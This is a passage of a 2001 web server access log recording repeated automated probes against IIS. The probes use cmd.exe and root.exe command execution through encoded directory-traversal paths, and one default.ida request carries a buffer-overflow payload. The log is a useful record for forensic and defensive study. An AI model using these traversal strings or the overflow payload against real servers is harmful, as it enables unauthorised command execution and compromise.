  7321. 20010919 00:23:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7322. 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7323. 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7324. 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7325. 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7326. 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7327. 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7328. 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7329. 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7330. 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7331. 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7332. 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7333. 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7334. 20010919 00:23:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7335. 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7336. 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7337. 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7338. 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7339. 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7340. 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7341. 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7342. 20010919 00:23:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7343. 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7344. 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7345. 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7346. 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7347. 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7348. 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7349. 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7350. 20010919 00:23:58: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7351. 20010919 00:26:44: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7352. 20010919 00:26:44: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7353. 20010919 00:26:44: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7354. 20010919 00:26:44: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7355. 20010919 00:26:44: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7356. 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7357. 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7358. 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7359. 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7360. 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7361. 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7362. 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7363. 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7364. 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7365. 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7366. 20010919 00:26:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7367. 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7368. 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7369. 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7370. 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7371. 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7372. 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7373. 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7374. 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7375. 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7376. 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7377. 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7378. 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7379. 20010919 00:27:10: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7380. 20010919 00:27:10: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7381. 20010919 00:27:10: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7382. 20010919 00:27:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7383. 20010919 00:39:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7384. 20010919 00:39:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7385. 20010919 00:39:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7386. 20010919 00:39:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7387. 20010919 00:39:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7388. 20010919 00:39:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7389. 20010919 00:39:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7390. 20010919 00:39:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7391. 20010919 00:39:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7392. 20010919 00:39:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7393. 20010919 00:39:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7394. 20010919 00:39:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7395. 20010919 00:39:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7396. 20010919 00:39:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7397. 20010919 00:39:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7398. 20010919 00:39:51: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7399. 20010919 00:43:02: zhangpm2.chem.psu.edu [128.118.172.141] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7400. 20010919 00:43:03: zhangpm2.chem.psu.edu [128.118.172.141] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7401. 20010919 00:43:03: zhangpm2.chem.psu.edu [128.118.172.141] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7402. 20010919 00:43:04: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7403. 20010919 00:43:04: zhangpm2.chem.psu.edu [128.118.172.141] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7404. 20010919 00:43:04: zhangpm2.chem.psu.edu [128.118.172.141] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7405. 20010919 00:43:04: zhangpm2.chem.psu.edu [128.118.172.141] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7406. 20010919 00:43:04: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7407. 20010919 00:43:05: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7408. 20010919 00:43:06: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7409. 20010919 00:43:06: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7410. 20010919 00:43:07: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7411. 20010919 00:43:07: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7412. 20010919 00:43:07: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7413. 20010919 00:43:07: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7414. 20010919 00:43:07: server.intldev.uga.edu [128.192.69.9] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7415. 20010919 00:48:33: server.intldev.uga.edu [128.192.69.9] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7416. 20010919 00:48:33: server.intldev.uga.edu [128.192.69.9] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7417. 20010919 00:48:34: server.intldev.uga.edu [128.192.69.9] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7418. 20010919 00:48:34: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7419. 20010919 00:48:34: server.intldev.uga.edu [128.192.69.9] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7420. 20010919 00:48:34: server.intldev.uga.edu [128.192.69.9] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7421. 20010919 00:48:34: server.intldev.uga.edu [128.192.69.9] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7422. 20010919 00:48:34: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7423. 20010919 00:48:35: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7424. 20010919 00:48:35: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7425. 20010919 00:48:35: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7426. 20010919 00:48:35: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7427. 20010919 00:48:35: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7428. 20010919 00:48:35: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7429. 20010919 00:48:36: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7430. 20010919 00:48:36: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7431. 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7432. 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7433. 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7434. 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7435. 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7436. 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7437. 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7438. 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7439. 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7440. 20010919 00:49:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7441. 20010919 00:50:00: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7442. 20010919 00:50:00: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7443. 20010919 00:50:00: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7444. 20010919 00:50:00: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7445. 20010919 00:50:00: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7446. 20010919 00:50:00: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7447. 20010919 00:51:52: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7448. 20010919 00:51:52: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7449. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7450. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7451. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7452. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7453. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7454. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7455. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7456. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7457. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7458. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7459. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7460. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7461. 20010919 00:51:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7462. 20010919 00:51:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7463. 20010919 01:00:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7464. 20010919 01:00:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7465. 20010919 01:00:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7466. 20010919 01:00:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7467. 20010919 01:00:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7468. 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7469. 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7470. 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7471. 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7472. 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7473. 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7474. 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7475. 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7476. 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7477. 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7478. 20010919 01:00:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7479. 20010919 01:01:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7480. 20010919 01:03:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7481. 20010919 01:03:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7482. 20010919 01:03:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7483. 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7484. 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7485. 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7486. 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7487. 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7488. 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7489. 20010919 01:03:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7490. 20010919 01:03:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7491. 20010919 01:03:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7492. 20010919 01:03:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7493. 20010919 01:03:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7494. 20010919 01:03:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7495. 20010919 01:03:13: ns.kcci.or.kr [210.124.8.13] "GET /scripts/root.exe?/c+dir HTTP/1.0"
